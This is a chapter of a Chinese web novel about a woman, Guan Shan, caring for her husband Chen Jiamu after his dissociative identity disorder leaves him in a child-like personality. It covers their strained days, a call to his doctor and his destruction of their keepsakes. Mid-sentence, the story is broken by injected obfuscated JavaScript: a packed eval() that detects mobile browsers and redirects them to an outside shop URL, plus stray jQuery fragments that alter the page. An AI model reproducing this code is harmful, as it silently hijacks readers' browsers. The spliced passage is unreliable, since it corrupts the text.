陈嘉木回到公寓，拉着她径直走向卧室，倒在床上转眼间就睡着了。关山还有工作要做不能一直陪他，但每次她一动，腰上的手臂就收得更紧。她凑过去小声说要去卫生间，他才翻身蜷缩到另一侧贴着海豹玩偶。


    关山带趴在他们拖鞋上的棉豆去吃饭，然后拿了碘伏帮他消毒，被他抠出血的食指已经结痂。他本就骨节分明的手现在瘦得吓人，他全身上下都在说自己过得不好。


    她去煮了粥，接着打开电脑开始工作。现在不能失业，她要养家。等她做完最后一页展示稿，时针已经指向九，陈嘉木睡了十几个小时。


    关山轻手轻脚地推开卧室的门，陈嘉木陷在床垫里，窗外的霓虹光照得竖在他眉心的沟壑更深。她趴在床边，掌心贴上他的侧脸。


    陈嘉木慢慢睁开眼睛，看了一会儿天花板，才把视线聚焦到她身上，他的笑容温暖而熟悉：“老婆，我好想你。”


    关山再也忍不住，红着眼眶趴在他身上。她絮絮叨叨说了许多，陈嘉木抬手一下一下地抚摸她的头发，一直没打断她。再她抬头时，清晰地看到他眼中的光亮，像信号不良的屏幕，“啪”地一下熄灭了。取而代之的，是另一种清澈的纯真。


    “我饿啦。”


    这是小陈嘉木。关山坐起来，轻轻握住他的手：“嗯，起来吃点东西吧，我做了粥。”


    “不要。我要吃儿童套餐，老婆，我休息好了，明天我们去动物园吧？上次下雨我们就没去。”


    陈嘉木笑容很干净，她却心乱如麻。压制住眼中的失落，她笑着揉了揉他的头发：“好，你先告诉我你还记得什么，好不好？”


    “嗯...脑子好乱。不过我记得你是我老婆，记得我帮你算数据，还有你不让我吃太多零食。”陈嘉木脸上的自豪逐渐变成疑惑，“还有一些，只有画面，但我没印象了。”顿了顿，他又说，“你生了好严重的病，我带着你去医院。”


    “还有呢？”关山手指无意识的握紧。


    “还有...你不让我吃棒棒糖，让我少看《猫和老鼠》。”其余的记忆过于零散，他不知道该怎么叙述。


    沉吟片刻，他忽然想到了什么：“还有你和我一起遛豆豆！我们以前就认识了！”


    “陈嘉木真棒，这么多年前的事都记得。”


    关山叫了外卖，她看着陈嘉木吃汉堡，自己一勺一勺地喝粥。粥有点苦，滑进喉咙也是干涩的。


    她不知道另一个陈嘉木什么时候能出现，也不清楚因为吃到快餐就能笑得眼睛弯弯对他来说算不算好事。她之前考虑过，就算陈嘉木是儿童状态，她也有信心再把他养大。现在看来，她可能高估了自己与失意抗衡的能力。被时间困住的不止陈嘉木，还有她。唯一庆幸的是，陈嘉木没有完全忘记她。


    “老婆，你明天放心去上班，我在家不会捣乱的。”陈嘉木吃完汉堡，举起一只手向关山保证。


    之后的几天，关山为了多陪伴陈嘉木，会按时回家，等陈嘉木去休息时，她才继续处理没做完的工作。看着满屏待处理的文件，焦头烂额让她某个瞬间稍稍理解了方竞舟。但她没有帮他们修复母子关系的打算，陈嘉木病情反复，方竞舟难辞其咎。


    树上的枝桠冒出鲜嫩的绿芽，厚重的羽绒服也换成轻薄的外套，陈嘉木依然没有恢复的迹象。关山把和陈嘉木打游戏的时间用来讲述他遗忘的过去，拿出他们以前的物品帮他回忆。从动物园的合影，再到床上那两个玩偶，她绘声绘色地和他讲，但他却有些心不在焉。


    “也就是说，你不打算再带我去动物园了，是吗？”陈嘉木盘腿坐在地毯上，低头摸棉豆没有看她。


    关山不厌其烦地讲了这么多天，陈嘉木就只得出这个结论，她一时气结：“周末，我们去动物园。”


    “不去了。”陈嘉木推开棉豆，回卧室了。


    棉豆看着他的背影嘤了一声，又转头看了看她，委屈地走过来趴在她的腿上，用湿鼻头拱了一下那张合影。关山捧着它的脸：“爸爸生气了，你去陪陪他。”棉豆听完，就颠颠地跑进卧室。


    关山收拾完那些照片，起身给刘医生打电话，她靠在阳台栏杆上，简略讲述了近期发生的事。


    “陈太太，病人恢复需要契机，只回忆过去不利于康复。继续陪伴、照顾病人情绪，是最稳妥的康复手段。”


    她拢了拢衣领，把睡衣帽子戴好：“要从病因入手吗？”


    “多重人格的成因复杂，童年创伤反应伴随当时无法排解的痛苦产生，更多表现为内在的自我攻击，需要建立自我认同，有助于多个人格整合。”


    “我明白了。”关山呼出的热气消散，“就是说，恢复的时间也不能确定。”


    “是的。强迫和施压可能加剧他的恐慌，还是提供一个安全低压的环境，让他内部调整形成自然回归是最好的。如果您想得到更详细的方案，建议把他带过来进行详细检查。”


    “好，刘医生，麻烦您了。”挂断电话以后，她打了一激灵，在阳台站了太久，正要进房间，就被站在玻璃门前的陈嘉木吓了一跳。


    她连忙走进来：“怎么啦？”


    “没什么。”陈嘉木垂眸，回了卧室，然后抱着被子枕头往书房走。棉豆摇着尾巴乖乖跟在他身后。


    关山不明所以，跑了两步拦在他前面：“你要干嘛？”


    “睡觉。”陈嘉木绕开她，一进书房就锁上门。


    她觉得陈嘉木莫名其妙，是她每天花心思帮陈嘉木回忆过去，把没做完的工作带回家，还要独自买菜烧饭，他倒是先闹情绪了。棉豆蹲在紧闭的门前不知所措，她一把抱起它也回到卧室，落锁的时候格外用力。


    躺在床上，看旁边空的那一侧，关山越想越气，拿起狮子玩偶用力捶了两下，顺手给它推到一边。小狮子滚了一圈歪在海豹玩偶上，原本圆嘟嘟的脸凹进去，表情变得有点可怜。


    她翻来覆去怎么也睡不着，每次拿起手机都发现才过了几分钟。


    她都为了陈嘉木，勤奋工作忙得昏天黑地，还要时刻准备应对方竞舟不知道什么时候到来的发难，他却一点不领情。不配合就算了，还要发脾气，她又拿起狮子玩偶拧了一下它的耳朵。身旁那个热源不在，卧室都有点冷了。伴着棉豆打呼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198965|197143||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    噜的声音，她才慢慢睡着。


    第二天，关山做好早饭，敲了敲门：“出来吃饭了。”


    里面就像没人一样安静，但她上班就要迟到，只能先走了。等到公司，她想了想，还是叮嘱陈嘉木好好吃饭。从不在午休时浪费时间的她趴在桌上睡着了，小胡见状要给她放假，她拒绝了，这段时间小胡已经很照顾她了。


    之后陈嘉木就不做家务了，也很少和她说话，不是在书房看动画，就是抱着棉豆在窗前发呆。这么过了一周，关山觉得不能再这样下去了。


    她下班转道去了超市，买陈嘉木常吃的那种巧克力和荔枝味棒棒糖，还有新鲜的小排和山药。用吃的哄他总没错，他比之前更小孩子脾气，她不能真和他生气。


    关山进门，看到陈嘉木坐在沙发上鼓捣着他那本糖纸手帐，笑着招呼：“你看我买什么好吃的了？”


    陈嘉木无动于衷。


    她叹了口气，把排骨炖上，一边削着山药皮一边劝自己，他还在闹脾气，待会儿看到吃的就好多了。等排骨焖熟的空档，她拿出巧克力放在茶几上，收拾掉在地上的零食包装。


    这时，她才注意到垃圾袋里鼓鼓囊囊的，打开一看，他以前的画被撕成几半，旁边的小狮子玩偶静静地躺在里面。它的脖子被扯开，棉花掉出来一大半，头随着她的颤抖轻轻摇晃。底下还有一双被划破的黑色皮质拖鞋，鞋面翻开的皮上夹着半张动物园的合影。照片上的陈嘉木面带笑容，弯着腰抱住虚无。


    “陈嘉木....”她不可置信地看向他，这些珍贵的宝贝对他来说是需要如此泄愤，然后丢掉的垃圾。


    他合上手帐，无所谓地耸耸肩：“对，是我扔的，我不想要了。”


    “给我一个理由。”


    这些东西对她来说，是帮她坚持下去的动力。随着时间流逝，她已经快忘记原本的陈嘉木是什么样。她愿意迁就他，但从他的眼里看不到快乐。她在做无用功，像愚公移山。


    “我讨厌你们。”说完，他起身走向书房。


    关门声和电饭煲的提示音交叠，她哭了。


    棉豆过来轻咬她的手，晃着尾巴钻进她怀里，舔掉她的眼泪。


    一人一狗坐了好久，关山把玩偶和照片拿回房间，起身把排骨盛好，蘸着配料，自己吃了大半盘。随着食物下肚，她没那么难过了。


    刚把陈嘉木带回来那几天，她总会重复做一个梦。陈嘉木顶着那张苍白瘦削的脸，用悲戚的神情看着她，像是见到最后的救命稻草，他急切地向她伸手。但她被困在空气墙里，怎么也过不去，只能眼睁睁地看着他被折磨到自我了结，直到她蓦然惊醒。


    是她决定要带陈嘉木回来，是她要让陈嘉木恢复，他只是不配合。现在的陈嘉木经历过二次伤害，他讨厌的不是她，是另一个自己，那个和她一起留下他未曾参与的回忆的自己。


    她把排骨加热，弄好了端到书房。陈嘉木没有表情的脸上映着五彩斑斓的画面，依旧一言不发。


    晚上她把文案改完出来倒水，看到桌上那盘蓝莓山药吃光了，盘子和锅具都洗干净了放在沥水架。